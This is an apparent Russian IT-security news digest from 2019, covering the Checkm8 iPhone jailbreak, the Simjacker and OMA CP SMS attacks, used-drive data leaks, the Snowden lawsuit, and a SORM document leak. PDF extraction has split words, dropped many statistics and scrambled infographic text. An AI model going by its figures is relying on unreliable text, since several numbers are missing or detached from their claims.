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ДЖЕЙЛБРЕЙК ДЛЯ
IPHONE
В  кон це  сен тября  ИБ‐иссле дова тель,  извес тный  под  псев донимом  axi0mX,
опуб ликовал  в  откры том  дос тупе  джей лбрейк,  под ходящий  прак тичес ки
для  любых  устрой ств  Apple  с  чипами  от  A5  до  A11,  выпущен ными  меж‐ 
ду 2011 и 2017 годами. То есть джей лбрейк акту ален для моделей от  iPhone
4S до  iPhone 8 и X. Его нель зя исполь зовать уда лен но — нужен физичес кий
дос туп к устрой ству.

Джей лбрейк,  над  которым  спе циалист,  по  собс твен ному  приз нанию,
работал  весь  год,  полага ется  на  новый  экс пло ит  Checkm8  (чита ется
как  checkmate,  то  есть  «шах  и  мат»)  для  уяз вимос ти  в  bootrom. Сам  axi0mX
опи сыва ет этот экс пло ит как «пер манен тный и неис прав ляемый».

Де ло  в  том,  что  боль шинс тво  джей лбрей ков  экс плу ати руют  уяз вимос ти
в  опе раци онной  сис теме  iOS  и  ее  ком понен тах,  а  вот  об  уяз вимос тях
в  bootrom  и  их  экс плу ата ции  речь  заходит  нечас то.  В  то  же  вре мя  имен но
такие джей лбрей ки ценят ся боль ше все го, так как явля ются пер манен тны ми,
ведь для исправ ления уяз вимос ти в bootrom тре бует ся физичес кая модифи‐ 
кация чип сетов устрой ств и ни одна ком пания не ста нет отзы вать из про дажи
такое количес тво гад жетов и заменять их.

Пос ледний  джей лбрейк,  исполь зующий  проб лемы  bootrom,  был  соз дан
поч ти десять лет назад извес тным хакером Джор джем Хоцем aka geohot, так
что релиз Checkm8 — это без пре уве личе ния зна ковое событие, ведь мно гие
счи тали, что инже нерам Apple уда лось устра нить все бре ши в этой области.

Код axi0mX уже  , хотя пока это лишь бета‐вер сия, явно
не  пред назна чен ная  для  мас сового  поль зовате ля,  которая  может  слу чай но
прев ратить  устрой ство  в  «кир пич».  Иссле дова тель  пишет,  что  джей лбрейк
не работа ет на устрой ствах на базе Apple A12 и A13, а так же могут воз никать
проб лемы  со  ста рыми  устрой ства ми  вро де  iPhone  4S,  которым  он  пока
не уде лял мно го вре мени.

дос тупен на GitHub

 УЯЗ ВИМОС ТЕЙ В IOS — КРИ ТИЧЕС КИЕ19%

По информа ции ком пании ESET, количес тво угроз для iOS рас тет. Экспер ты отме чают, что, воп‐ 
реки рас простра нен ному заб лужде нию, абсо лют но неуяз вимых ОС не быва ет, и опе раци онных
сис тем Apple это тоже каса ется.

Так, в пер вом полуго дии 2019 года экспер ты обна ружи ли   уяз вимос тей в мобиль ной плат‐ 
форме  Apple.  Это  на    боль ше,  чем  за  ана логич ный  пери од  2018  года.  И  поч ти 
боль ше, чем количес тво уяз вимос тей в Android. Впро чем, толь ко   уяз вимос тей в iOS кри‐ 
тичес кие.
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Нас тоящим  трен дом 2019  года  ста ли  уяз вимос ти  для  iOS,  которые  откры вали  ранее  исправ‐ 
ленные ошиб ки, а так же поз волили соз дать джей лбрейк для вер сии 12.4.

УЯЗВИМОСТИ SIM‐
КАРТ И АТАКИ ЧЕРЕЗ
SMS
В этом месяце ИБ‐экспер ты поведа ли миру сра зу о двух проб лемах, которые
пред став ляют опас ность для льви ной доли мобиль ных устрой ств. При чем эти
проб лемы  не  зависят  от  плат формы  и  типа  устрой ств  поль зовате лей,  так
как свя заны с SIM‐кар тами и прин ципами работы мобиль ных опе рато ров.

Simjacker
Ата ку Simjacker  опи сали  спе циалис ты  ком пании AdaptiveMobile Security. Она
свя зана  с  исполь зовани ем  SMS‐сооб щений  для  переда чи  инс трук ций  SIM
Toolkit (STK) и S@T Browser на SIM‐кар те. Инте рес но, что эта проб лема пред‐ 
став ляет собой не прос то кон цепт, она регуляр но при меня ется в реаль нос ти
в пос ледние два года. «Мы уве рены, что этот экс пло ит был раз работан кон‐ 
крет ной  час тной  ком пани ей,  которая  работа ет  с  пра витель ства ми
для монито рин га отдель ных лиц», — пишут экспер ты.

Спе циалис ты AdaptiveMobile не рас кры вают наз вание ком пании, ведущей
эти  ата ки,  и  потому  неяс но,  исполь зует ся  дан ная  проб лема  для  слеж ки
за  прес тупни ками  и  тер рорис тами  или  же  ее  при меня ют  для  отсле жива ния
дис сиден тов, акти вис тов и жур налис тов.

По информа ции иссле дова телей, та же неназ ванная ком пания име ет рас‐ 
ширен ный дос туп к базовой сети SS7 и Diameter и цели Simjacker‐атак неред‐ 
ко  ста новят ся  жер тва ми  атак  через  SS7.  Судя  по  все му,  ата ки  с  исполь‐ 
зовани ем  SS7  —  менее  пред почти тель ный  и  запас ной  вари ант  на  слу чай,
если Simjacker  не  работа ет.  Дело  в  том,  что  в  пос леднее  вре мя  опе рато ры
уде ляют  куда  боль ше  вре мени  и  сил  защите  сво ей  SS7‐  и  Diameter‐
инфраструк туры, тог да как ата ки Simjacker дешевы и прос ты в исполне нии.

Суть  ата ки  зак люча ется  в  том,  что  с  помощью  смар тфо на  или  прос того
GSM‐модема зло умыш ленник отправ ляет на устрой ство жер твы спе циаль ное
SMS‐сооб щение,  содер жащее  скры тые  инс трук ции  для  SIM  Toolkit.  Дан ные
инс трук ции  под держи вают ся  при ложе нием  S@T  Browser,  работа ющим
на SIM‐кар те устрой ства.

STK  и  S@T  Browser  —  ста рые  тех нологии,  под держи ваемые  мно гими
мобиль ными сетями и SIM‐кар тами. С их помощью на устрой стве мож но, нап‐ 
ример, запус тить бра узер, вос про извести звук или показы вать всплы вающие
окна.  Рань ше  мобиль ные  опе рато ры  неред ко  исполь зовали  это,  что бы
отправ лять поль зовате лям рек ламные пред ложения или пла теж ную информа‐ 
цию.

Ата ка Simjacker  под разуме вает,  что  зло умыш ленник  зло упот ребля ет дан‐ 
ным механиз мом и при казы вает устрой ству жер твы передать дан ные о мес‐ 
тополо жении и  IMEI,  которые SIM‐кар та отпра вит в SMS‐сооб щении на сто‐ 
рон нее устрой ство, и ата кующий в ито ге смо жет узнать мес тополо жение сво‐ 
ей цели.

При  этом  пос тра дав шие  от  ата ки  поль зовате ли  не  видят  никаких  SMS‐
сооб щений и дру гих сле дов ком про мета ции. То есть зло умыш ленни ки могут
пос тоян но  завали вать  сво их  жертв  SMS‐сооб щени ями  и  таким  обра зом
отсле живать  их  мес тополо жение  на  про тяже нии  дол гих  недель  или  даже
месяцев.  Так  как  ата ка  Simjacker  нап равле на  на  SIM‐кар ту,  она  не  зависит
от плат формы и типа устрой ства поль зовате ля.

«Мы  замети ли,  что  устрой ства  поч ти  всех  про изво дите лей  успешно
поз воля ют узнать дан ные о мес тополо жении поль зовате ля: Apple, ZTE,
Motorola,  Samsung, Google, Huawei  и  даже  IoT-устрой ства  с SIM-кар- 
тами», — пишут иссле дова тели.

Эк спер ты  AdaptiveMobile  отме чают,  что  ата ки  Simjacker  выпол няют ся  ежед‐ 
невно  в  боль шом  количес тве.  Чаще  все го  телефон ные  номера  отсле жива‐ 
ются нес коль ко раз в день в течение дол гого вре мени.

«Схе мы и количес тво отсле жива ющих устрой ств ука зыва ют на то, что
это  не  мас штаб ная  опе рация  мас сового  сле жения,  но  опе рация
для отсле жива ния боль шого чис ла людей в раз личных целях, при чем
цели и при ори теты опе рато ров меня ются», — говорят экспер ты.

Так же  ана лити ки  отме чают,  что  ата ки Simjacker мож но  лег ко  пре дот вра тить,
если опе рато ры уде лят вни мание тому, какой имен но код работа ет на их SIM‐
кар тах.  Дело  в  том,  что  спе цифи кация  S@T  Browser  не  обновля лась
с 2009 года, а изна чаль ная фун кци ональ ность, вро де получе ния информа ции
о балан се сче та через SIM‐кар ту, дав но уста рела и на сме ну ей приш ли дру‐ 
гие тех нологии. Одна ко уста рев ший S@T Browser по‐преж нему исполь зует ся
и  при сутс тву ет  на  SIM‐кар тах  опе рато ров  мобиль ной  свя зи  как  минимум
в трид цати стра нах мира.

Сум марно  в  этих  стра нах  про жива ет  более  одно го  мил лиар да  человек,
и  все  они  под верга ются  рис ку  незамет ной  слеж ки  с  помощью  Simjacker.
По  дан ным СМИ,  опе рато ры Sprint  и  T‐Mobile  заяви ли,  что  их  поль зовате ли
не  пос тра дали,  а  пред ста вите ли  AT&T  уве ряют,  что  их  аме рикан ская  сеть
неуяз вима перед такими ата ками.

Сре ди  дру гих  команд,  под держи ваемых  S@T  Browser,  чис лится  воз‐ 
можность  совер шать  звон ки,  отправ лять  сооб щения,  отклю чать  SIM‐кар ту,
запус кать коман ды AT‐модема, откры вать бра узе ры и мно гое дру гое. То есть
при помощи атак Simjacker мож но не толь ко сле дить за поль зовате лями, но и
занимать ся финан совым мошен ничес твом (звон ки на пре миаль ные номера),
шпи она жем  (совер шить  вызов  и  прос лушивать  раз говоры  рядом  с  устрой‐ 
ством), сабота жем (отклю чение SIM‐кар ты жер твы), устра ивать дезин форми‐ 
рующие кам пании (рас сылка SMS/MMS с фаль шивым кон тентом) и так далее.

Нуж но  отме тить,  что  Simjacker‐ата ки  не  такое  уж  новое  явле ние.  К  при‐ 
меру,  зло упот ребле ние  инс трук циями STK  на  теоре тичес ком  уров не 
еще в 2011 году ИБ‐спе циалист Бог дан Але ку. Тог да эксперт пре дуп реждал,
что  это  мож но  исполь зовать,  что бы  отправ лять  SMS  на  плат ные  номера
или соз давать труд ности при получе нии обыч ных тек сто вых сооб щений. Так‐ 
же ана логич ная ата ка была про демонс три рова на в 2013 году 
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Опас ные SMS
Ана лити ки ком пании Check Point пре дуп редили, что мно гие устрой ства на An‐
droid (вклю чая девай сы Samsung, Huawei, LG, Sony и, воз можно, дру гих про‐ 
изво дите лей) уяз вимы перед весь ма занят ными ата ками. Для их реали зации
понадо бит ся  под делать  все го  одно  спе циаль ное  SMS‐сооб щение,  какие
обыч но при ходят от опе рато ров мобиль ной свя зи, и зло умыш ленник смо жет
перех ватывать элек трон ную поч ту или тра фик с уяз вимых устрой ств.

Проб лема,  обна ружен ная  спе циалис тами,  свя зана  с  инс трук циями  OMA
CP  (Open  Mobile  Alliance  Client  Provisioning).  Речь  идет  о  стан дарте,
с  помощью  которо го  опе рато ры мобиль ной  свя зи могут  отправ лять  кли ент‐ 
ским  устрой ствам  нас трой ки  сети  в  виде  спе циаль ных  сооб щений.  Такие
сооб щения  могут  содер жать  нас трой ки  сер вера  MMS‐сооб щений,  адрес
прок си,  поч товый  сер вер,  нас трой ки  домаш ней  стра ницы  бра узе ра  и  зак‐ 
ладок, сер веры для син хро низа ции кон тактов и кален даря и мно гое дру гое.

Ис сле дова тели обна ружи ли, что четыре про изво дите ля смар тфо нов внед‐ 
рили этот стан дарт на сво их устрой ствах небезо пас ным спо собом. Смар тфо‐ 
ны Samsung, Huawei,  LG  и Sony могут  при нимать  сооб щения OMA CP,  даже
если те были получе ны из ненадеж ного источни ка.

Про ще все го ока залось ата ковать устрой ства Samsung, так как они при нима‐ 
ют любые сооб щения OMA CP без какой‐либо аутен тифика ции или верифи‐ 
кации. Смар тфо ны Huawei, LG и Sony защище ны чуть луч ше, так как в их слу‐ 
чае отпра витель сооб щения хотя бы дол жен пре дос тавить IMSI устрой ства.

Хо тя теоре тичес ки коды IMSI труд но получить, спе циалис ты объ ясня ют, что
ничего невоз можно го нет. К при меру, мобиль ные опе рато ры пре дос тавля ют
плат ные  сер висы,  с  помощью  которых  они  перево дят  номера  телефо нов
в коды IMSI для сто рон них пос тавщи ков услуг мобиль ной свя зи. То есть зло‐ 
умыш ленник может получить IMSI от самого про вай дера за неболь шую пла ту.
Хуже того, поч ти треть всех Android‐ при ложе ний име ют дос туп к IMSI устрой‐ 
ства,  так  как  успешно  зап росили  соот ветс тву ющие  раз решения.  А  зна чит,
хакеры могут  исполь зовать  коды  IMSI,  получен ные  с  помощью вре донос ных
при ложе ний или уте чек дан ных.

Ата ка,  опи сан ная  Check  Point,  неав томати чес кая  (поль зователь  дол жен
нажать  кноп ку  и  при нять  уста нов ку  новых  нас тро ек  ата кующе го),  но  иссле‐ 
дова тели  пре дуп режда ют,  что  зло умыш ленни ки  могут  без  тру да  под делать
отпра вите ля. Фак тичес ки у получа теля нет никаких реаль ных спо собов опре‐ 
делить, кто отпра вил такое сооб щение. Увы, это озна чает, что мно гие поль‐ 
зовате ли  сог ласят ся изме нить  нас трой ки  устрой ства на новые,  полагая,  что
они получе ны от реаль ного опе рато ра мобиль ной свя зи.

В  ито ге,  под менив  нас трой ки,  зло умыш ленник  смо жет,  нап ример,
перенап равить  весь  тра фик  жер твы  через  свой  вре донос ный  сер вер.
Для реали зации такой ата ки не нуж но никако го спе циаль ного обо рудо вания:
для  отправ ки  SMS  будет  дос таточ но  GSM‐модема  (USB‐дон гла  за  десять
дол ларов либо телефо на, работа юще го в режиме модема) и прос того скрип‐ 
та.

Со обще ние OMA CP, раз битое на два SMS и содер жащее пей лоад

К счастью, три из четырех про изво дите лей, наз ванных в док ладе, уже работа‐ 
ют над исправ лени ем дан ной проб лемы:

Samsung вклю чила патч для этой проб лемы в май ский набор обновле ний;•
LG выпус тила свое исправ ление в июле;•
Huawei пла ниру ет внес ти необ ходимые исправ ления в UI для сле дующе го
поколе ния смар тфо нов серии Mate и серии P.

•

Единс твен ный  про изво дитель,  не  собира ющий ся  исправ лять  проб лему,  —
ком пания  Sony.  Иссле дова тели  объ ясня ют,  что  инже неры  Sony  «отка зались
приз нать уяз вимость, заявив, что их устрой ства соот ветс тву ют спе цифи кации
OMA CP».

Но ана лити ки Check Point не толь ко рекомен дуют про изво дите лям выпус‐ 
тить пат чи, а поль зовате лям — уста новить их. По их мне нию, мобиль ные опе‐ 
рато ры дол жны бло киро вать сооб щения OMA CP на уров не сети, что бы сооб‐ 
щения такого типа не име ли воз можнос ти прой ти через их сети, если толь ко
не были отправ лены самим опе рато ром. По сло вам экспер тов, в нас тоящее
вре мя доверять сооб щени ям OMA CP нель зя вов се и луч ше откло нять их все.

ДАН НЫЕ НА ПОДЕР ЖАННЫХ ЖЕС ТКИХ ДИС КАХ
Эк спер ты  из  Уни вер ситета  Хар тфордши ра  про вели  инте рес ное  иссле дова ние  по  заказу  ком‐ 
пании  Comparitech.  Спе циаль но  для  экспе римен та  Comparitech  при обре ла  200  подер жанных
жес тких дис ков (полови ну купили в США, дру гую полови ну — в Великоб ритании), которые про‐ 
тес тирова ли, что бы уви деть, сколь ко из них содер жат под лежащую вос ста нов лению информа‐ 
цию.

 от обще го количес тва бэуш ных жес тких дис ков, которые мож но при обрести с рук на eBay
и дру гих подоб ных ресур сах, не очи щают ся дол жным обра зом и по‐преж нему содер жат дан ные
пре дыду щих вла дель цев.

9%

 дис ков из Великоб ритании были отформа тиро ваны, а в США таковых нас читыва лось лишь
.

37%
14%
На  накопи телях  были  най дены  дан ные  о    пре дыду щих  вла‐ 
дель цев,   их семей и отды ха,  , 

,    и  ,  , 
,  ,   и мно гое дру гое.

за нятос ти  и  заработ ной  пла те
фо тог рафии де ловые докумен ты за явле ния на получе ние

визы ре зюме за явле ния  о  при еме  на  работу спис ки  паролей ска ны  пас портов
и водитель ских прав на лого вые докумен ты вы пис ки из бан ков

 дис ков были очи щены дол жным обра зом, и никакие дан ные с них вос ста новить не уда‐ 
лось.
26%

  были  отформа тиро ваны,  но  дан ные  все  еще  мож но  было  вос ста новить,  при ложив
минималь ные уси лия.
26%

 содер жали уда лен ные дан ные, вос ста новить которые было не очень труд но.17%

 жес тких дис ков даже не попыта лись очис тить перед про дажей.16%

 дис ков не мог ли быть про чита ны вов се.16%

США СУДЯТСЯ СО
СНОУДЕНОМ
В середи не сен тября в про дажу выш ла кни га Permanent Record, по сути пред‐ 
став ляющая собой мему ары, написан ные Эдвардом Сно уде ном. В этой кни‐ 
ге,  которая  будет  опуб ликова на  на  рус ском  язы ке  в  нояб ре  текуще го  года,
Сно уден  под робно  рас ска зыва ет  о  том,  как  похитил  те  самые  сек ретные
докумен ты,  как передал их СМИ, а затем бежал за  гра ницу, в ито ге получив
убе жище в Рос сии, где и оста ется до сих пор. Так же на стра ницах Permanent
Record мож но  най ти мно жес тво  раз мышле ний  о  при ват ности,  опас ных  пос‐ 
ледс тви ях мас сового сбо ра лич ной информа ции и мно гом дру гом.

Ра зуме ется,  выход  мему аров  Сно уде на  не  оста вили  без  вни мания  аме‐ 
рикан ские влас ти, но на пуб ликацию кни ги они отре аги рова ли весь ма неожи‐ 
дан ным  обра зом.  Ста ло  извес тно,  что Минис терс тво юсти ции США  подало
граж дан ский  иск  про тив  Эдварда  Сно уде на  за  несоб людение  сог лашений
о нераз гла шении, которые тот под писывал с АНБ и ЦРУ.

В  соот ветс твии  с  эти ми  докумен тами  Сно уден  дол жен  был  перед  пуб‐ 
ликаци ей  пред ста вить  кни гу  на  рас смот рение  и  одоб рение  пра витель ству
США.  Дан ный  пункт  стан дар тный  в  гос кон трак тах  и  пред назна чен  имен но
для пре дот вра щения рас кры тия сек ретной информа ции быв шими аген тами,
в том чис ле в мему арах и художес твен ных про изве дени ях.

При этом Минюст не пыта ется бло киро вать рас простра нение самой кни ги,
но про сит суд передать влас тям все средс тва, выручен ные от про даж Perma‐
nent Record.

«Раз веддан ные дол жны защищать нашу нацию, а не при носить лич ную
при быль,  —  пишет  про курор  США  по  Вос точно му  окру гу  Вир джи нии
Закари Тер вилли гер (Zachary Terwilliger). — Этот иск гаран тиру ет, что
Эдвард Сно уден не получит  никакой финан совой  выгоды от  наруше- 
ния доверия, которое было ему ока зано».

Пред ста вите ли  Аме рикан ско го  союза  граж дан ских  сво бод  (ACLU)  и юрис ты
Сно уде на  уже под вер гли иск  аме рикан ских  влас тей  кри тике. По их мне нию,
кни га  не  содер жит  никаких  пра витель ствен ных  сек ретов,  которые  не  пуб‐ 
ликова лись бы авто ритет ными новос тны ми орга низа циями ранее.

«Если  бы  мис тер  Сно уден  полагал,  что  пра витель ство  будет  доб- 
росовес тно  рас смат ривать  его  кни гу,  он  бы  пред ста вил  ее  на  рас- 
смот рение.  Но  пра витель ство  по‑преж нему  нас таивает  на  том,  что
обще извес тные  фак ты,  которые  обсужда ются  во  всем  мире,  до  сих
пор каким‑то обра зом оста ются сек ретны ми», — пишут пред ста вите ли
ACLU.

РОС КОМНАД ЗОР НЕ ОТСТА ЕТ ОТ TELEGRAM
Рос комнад зор по‐преж нему намере вает ся бло киро вать Telegram. В рам ках форума  «Вся Рос‐ 
сия» гла ва ведомс тва сооб щил, что в течение года пла ниру ет пред ста вить резуль таты работы
новой сис темы бло киро вок, нап равлен ной на про тиво дей ствие зап рещен ному кон тенту и бло‐ 
киров ку Telegram.

→ «Мы над этим воп росом работа ем. Я думаю, что в пре делах года нам будет что вам рас ска‐ 
зать. Это будет борь ба сна ряда и бро ни… Воп росом мы этим занима емся, и пират ский корабль
ког да‐нибудь, навер ное, мы подор вем по‐серь езно му»
— заявил Алек сандр Жаров

ВНЕЗАПНО СОРМ
Спе циалист  ком пании  UpGuard  Крис  Викери  (Chris  Vickery)  слу чай но  обна‐ 
ружил  в  Сети  сво бод но  дос тупный  резер вный  диск,  при над лежащий  сот‐ 
рудни ку  ком пании  Nokia.  Диск  содер жал  око ло  1,7  Тбайт  дан ных,  про лива‐ 
ющих  свет  на  работу  рос сий ской  СОРМ  (Сис тема  тех ничес ких  средств
для обес печения фун кций опе ратив но‐разыс кных мероп риятий), в час тнос ти
в сетях опе рато ра МТС.

Пред ста вите ли Nokia объ ясни ли жур налис там изда ния TechCrunch, что один
из  их  сот рудни ков  под клю чил  USB‐накопи тель  со  ста рыми  рабочи ми  фай‐ 
лами  к  сво ему  домаш нему  компь юте ру,  а  из‐за  ошиб ки  в  нас трой ках  его
компь ютер и этот носитель были сво бод но дос тупны из интерне та для любого
жела юще го.

Спе циалис ты UpGuard  сооб щили Nokia  об  утеч ке  дан ных  сра зу  пос ле ее
обна руже ния,  9  сен тября  2019  года,  и  ком пании  понадо билось  четыре  дня
для  лик видации  бре ши.  В  нас тоящее  вре мя  пред ста вите ли  Nokia  еще  про‐ 
дол жают рас сле дова ние инци ден та.

Пред ста вите ли  Nokia  под черки вают,  что  пол ностью  соб люда ют  рос сий‐ 
ское законо датель ство:

«Пос коль ку это стан дар тное тре бова ние для пра вомер ного перех вата
[дан ных] в Рос сии и пос тавщи ки СОРМ дол жны быть одоб рены соот- 
ветс тву ющи ми упол номочен ными орга нами, мы работа ем и с дру гими
ком пани ями для реали зации воз можнос тей СОРМ в сетях, которые мы
пре дос тавля ем», —  говорят  пред ста вите ли  Nokia,  сооб щая,  что  одна
из таких ком паний — «Мал вин Сис темс».

Сре ди  попав ших  в  откры тый  дос туп  докумен тов  были  и  те,  что  опи сыва ли
механи ку работы СОРМ в сетях МТС, так как обо рудо вание опе рато ру свя зи
пос тавля ет Nokia. Докумен ты демонс три рова ли схе мы уста нов ки СОРМ‐обо‐ 
рудо вания,  тех ничес кие  пла ны  (содер жащие  физичес кий  адрес,  вклю чая
номер  эта жа,  а  так же мес тополо жение  каж дой  защищен ной  изо лиро ван ной
ком наты  с  обо рудо вани ем  СОРМ,  куда  у  пос торон них  нет  дос тупа)  и  так
далее.

Продолжение статьи →

mailto:nefedova@glc.ru
https://github.com/axi0mX/ipwndfu
https://xakep.ru/2011/12/22/58058/
https://media.blackhat.com/us-13/us-13-Nohl-Rooting-SIM-cards-Slides.pdf


 Начало статьи←

Так,  в  бумагах  мож но  най ти  информа цию  об  уста нов ке СОРМ  как  минимум
в шес тнад цати городах, помимо Мос квы: в Бел городе, Брян ске, Вла дими ре,
Вороне же, Ива нове, Калуге, Кос тро ме, Кур ске, Липец ке, Орле, Рязани, Смо‐ 
лен ске, Там бове, Тве ри, Туле и Ярос лавле.

Кро ме  того,  сре ди  дан ных  при сутс тво вали  700  Гбайт  фотог рафий
(578  тысяч изоб ражений),  в  том чис ле демонс три рующих СОРМ‐аппа рату ру
с хорошо раз личимы ми серий ными номера ми и штрих‐кодами.

Сто ит  напом нить,  что информа ция о работе СОРМ попада ет  в Сеть далеко
не впер вые. К при меру, в 2017 году на WikiLeaks были опуб ликова ны бумаги,
рас ска зыва ющие  о  ком пани ях,  которые  занима ются  тех ничес кой  сто роной
интернет‐слеж ки за поль зовате лями, и о том, как влас ти зас тавля ют про вай‐ 
деров  за  свой  счет  уста нав ливать  СОРМ.  Одна ко  теперь  спе циалис ты
полага ют,  что  текущая  утеч ка  может  быть  опас на  с  дру гих  позиций.  Так,
исполни тель ный  дирек тор  Общес тва  защиты  интерне та  Миха ил  Кли марев
полага ет, что утеч ка может нанес ти немалый вред МТС:

«Кто  успел  ска чать  эти  архи вы,  никому  не  извес тно.  Потен циаль ные
тер рорис ты  мог ли  узнать  доволь но  чувс тви тель ную  информа цию
и могут нанес ти инфраструк туре МТС непоп равимый ущерб. И ник то
не может поручить ся, что у дру гих круп ных опе рато ров не про изой дет
что‑то подоб ное».

 РОС СИЯН НЕ ХОТЯТ «СВЕ ТИТЬ» СВОИ ДЕЙ СТВИЯ
В ИНТЕРНЕ ТЕ
84%

Спе циалис ты  «Лабора тории Кас пер ско го»  про вели опрос  сре ди поль зовате лей,  пос вящен ный
при ват ности  в  Сети.  Как  выяс нилось,    рос сиян  не  хотят,  что бы  кто‐то  был  в  кур се,  что
имен но они дела ют в интерне те. Для срав нения: лишь   пред почли бы скрыть, как они про‐ 
водят вре мя в реаль ной жиз ни.

84%
65%

Для защиты сво их гра ниц поль зовате ли при меня ют самые раз ные методы. Так, боль ше полови‐ 
ны рос сиян ( ) регуляр но чис тят исто рию в бра узе ре,   отме тили, что для регис тра ции
на  боль шинс тве  сай тов  исполь зуют фей ковые  име на,  каж дый  пятый  ( )  обща ется  толь ко
через  зашиф рован ные  мес сен дже ры,  а    ищут  информа цию  в  при ват ных  поис ковиках.
При этом поч ти   даже не защища ют устрой ство паролем, а   не про веря ют и не меня‐ 
ют нас трой ки при ват ности на сво их устрой ствах, а так же в при ложе ниях или сер висах.

54% 24%
22%

12%
40% 64%

Боль шинс тво  опро шен ных  ( )  сог ласно  с  тем,  что  в  сов ремен ном  циф ровом  мире  пол‐ 
ностью  сох ранять  при ват ность  невоз можно.  Три  из  четырех  рес понден тов  ( )  хотели  бы
знать боль ше о том, как защитить от чужих глаз свою деятель ность в онлай не, но толь ко в том
слу чае, если эта информа ция будет дос тавать ся им бес плат но. Пла тить день ги за кур сы и тре‐ 
нин ги, что бы повысить навыки сох ранения при ват ности, готовы лишь   поль зовате лей.

68%
74%

17%

БОРЬБА С
БЛОКИРОВЩИКАМИ
РЕКЛАМЫ
Для поль зовате лей бло киров щиков кон тента и дру гих защит ных рас ширений
для бра узе ров в этом месяце есть две новос ти — хорошая и пло хая.

Хо рошая новость зак люча ется в том, что раз работ чики Mozilla пообе щали
сох ранить фун кции API, необ ходимые для кор рек тной работы бло киров щиков
рек ламы и дру гих рас ширений в Firefox.

На пом ню, что бло киров щики кон тента и дру гие рас ширения могут пос тра‐ 
дать из‐за изме нений, которые инже неры Google пла ниру ют внес ти в Manifest
V3,  опре деля ющий  воз можнос ти  и  огра ниче ния  для  рас ширений.  Конеч но,
Chrome и Firefox — это два раз ных бра узе ра, но часть их кодовой базы все же
«пересе кает ся»,  вклю чая  WebExtensions  API,  при  помощи  которо го  рас‐ 
ширения вза имо дей ству ют с бра узе ром.

В нас тоящее вре мя оба бра узе ра исполь зуют WebExtensions API  v2, нез‐ 
начитель но варь иру ющий ся для каж дого из бра узе ров, но в целом API прак‐ 
тичес ки оди наков. Дан ный API явля ется частью Chromium, и в прош лом году
раз работ чики Google сооб щили, что пла ниру ют зна читель но обно вить Mani‐
fest V3. Мно гие раз работ чики рас ширений и бло киров щиков кон тента 
, что пос ле таких изме нений их про дук ты поп росту перес танут работать.

за яви‐ 
ли

Суть проб лемы зак люча ется в том, что вмес то webRequest раз работ чикам
будет пред ложено исполь зовать declarativeNetRequest API, а, по сло вам мно‐ 
гих  девело перов,  переход  на  дру гой  API,  силь но  отли чающий ся  от  webRe‐
quest и во мно гом ему усту пающий, в сущ ности, ста нет «смертью» их про дук‐ 
тов.

Те перь  инже неры  Mozilla  сооб щили,  что  не  будут  без думно  сле довать
за изме нени ями в WebExtensions API и вне сут собс твен ные кор ректи вы. Так,
раз работ чики  Firefox  не  намере ны  отка зывать ся  от  исполь зования  blocking
webRequest,  столь  необ ходимо го  для  кор рек тной  работы  бло киров щиков
и мно гих дру гих рас ширений.

По ка неиз вес тно, как имен но девело перы Mozilla намере ны вый ти из ситу‐ 
ации,  но  пред ста вите ли  орга низа ции  обе щают  обсу дить  воз можные  тех‐ 
ничес кие решения с самими раз работ чиками рас ширений и сов мес тно опре‐ 
делить пла ны.

Ра нее  инже неры  Opera,  Brave  и  Vivaldi  уже  завери ли,  что  они  тоже  сох‐ 
ранят  или  перене сут  фун кцию  webRequest  из  V2  на  V3.  Единс твен ный  бра‐ 
узер,  раз работ чики  которо го  пока  не  обоз начили  свою  позицию  по  отно‐ 
шению  к  гря дуще му  Manifest  V3,  —  это  Edge  на  базе  Chromium  ком пании
Microsoft.

Пло хая  новость,  в  свою  оче редь,  зат рагива ет  толь ко  поль зовате лей
устрой ств Apple. Изда ние ZDNet обра тило вни мание, что на фоне шква ла кри‐ 
тики, обру шив шегося на Google, доволь но инте рес но выг лядит кар тина, сло‐ 
жив шаяся  вок руг  ком пании  Apple.  Дело  в  том,  что  Apple  точ но  так  же  огра‐ 
ничи ла  работу  бло киров щиков  и  дру гих  рас ширений  в  Safari,  одна ко  ник то
не воз мутил ся и не обра тил на это вни мания.

Все  началось  еще  нес коль ко  лет  назад,  ког да  Apple  анон сирова ла
механизм App Extensions, с помощью которо го при ложе ния могут рас ширять
свою фун кци ональ ность на дру гие при ложе ния. Тог да раз работ чики заяви ли,
что  App  Extensions  будет  работать  в  тан деме  с Content  Blocker — механиз‐ 
мом, пред став ленным в сос таве iOS 9 еще в 2013 году. По сути, при ложе ния
или их рас ширения могут исполь зовать API Content Blocker, что бы сооб щить
Safari,  что  имен но  нуж но  бло киро вать,  осно выва ясь  на  наборе  пра вил,
который всту пает в дело перед заг рузкой стра ницы.

В  ито ге,  внед рив  эти  механиз мы  в  свою  эко сис тему,  инже неры  Apple
приш ли  к  выводу,  что  веб‐раз работ чикам  не  нуж но  соз давать  рас ширения
для Safari нап рямую, вмес то это го они могут исполь зовать при ложе ния в App
Store  и  таким  обра зом  пре дос тавить  поль зовате лям  Safari  допол нитель ные
фун кции.

В  резуль тате  в  середи не  2018  года  Apple  объ яви ла  эко сис тему  рас‐ 
ширений  уста рев шей  и  начала  рекомен довать  раз работ чикам  рас ширений
перено сить свой код в App Store в качес тве рас ширений при ложе ний. Пер вый
шаг в этом нап равле нии был сде лан в сен тябре 2018 года, ког да Apple выпус‐ 
тила  iOS  12  и  начала  бло киро вать  уста нов ку  уста рев ших  рас ширений  не  из
Safari Extensions Gallery. К кон цу того года Apple окон чатель но перес тала при‐ 
нимать  уста рев шие  рас ширения  в  Safari  Extensions  Gallery,  а  так же  начала
отклю чать  уста рев шие  про дук ты  в  бра узе рах  поль зовате лей  с  сооб щени ем
«Safari отклю чил рас ширения, которые замед ляют работу в интерне те».

Тог да мно гие раз работ чики рас ширений писали, что такое всплы вающее
окно появи лось для любых рас ширений без раз бора, незави симо от того, что
рас ширение  сде лало  (или  не  сде лало).  Мно гие  тог да  пред положи ли,  что
таким  обра зом  Apple  побуж дает  поль зовате лей  отка зать ся  от  уста рев ших
рас ширений ради исполь зования App Extensions.

На чиная с сен тября 2019 года и релиза  iOS 13 Apple окон чатель но отка‐ 
залась  от  Safari  Extensions Gallery  и  офи циаль но  объ яви ла,  что  рас ширения
уста рели.  Теперь  поль зовате ли  Safari  не  могут  уста новить  уста рев шее  рас‐ 
ширение вооб ще, незави симо от того, исполь зуют они  iOS или macOS, раз‐ 
мещено рас ширение в Safari Extensions Gallery или же нет. Более того, поль‐ 
зовате ли  Apple  прак тичес ки  не  обра щали  вни мания  на  эти  пос тепен ные
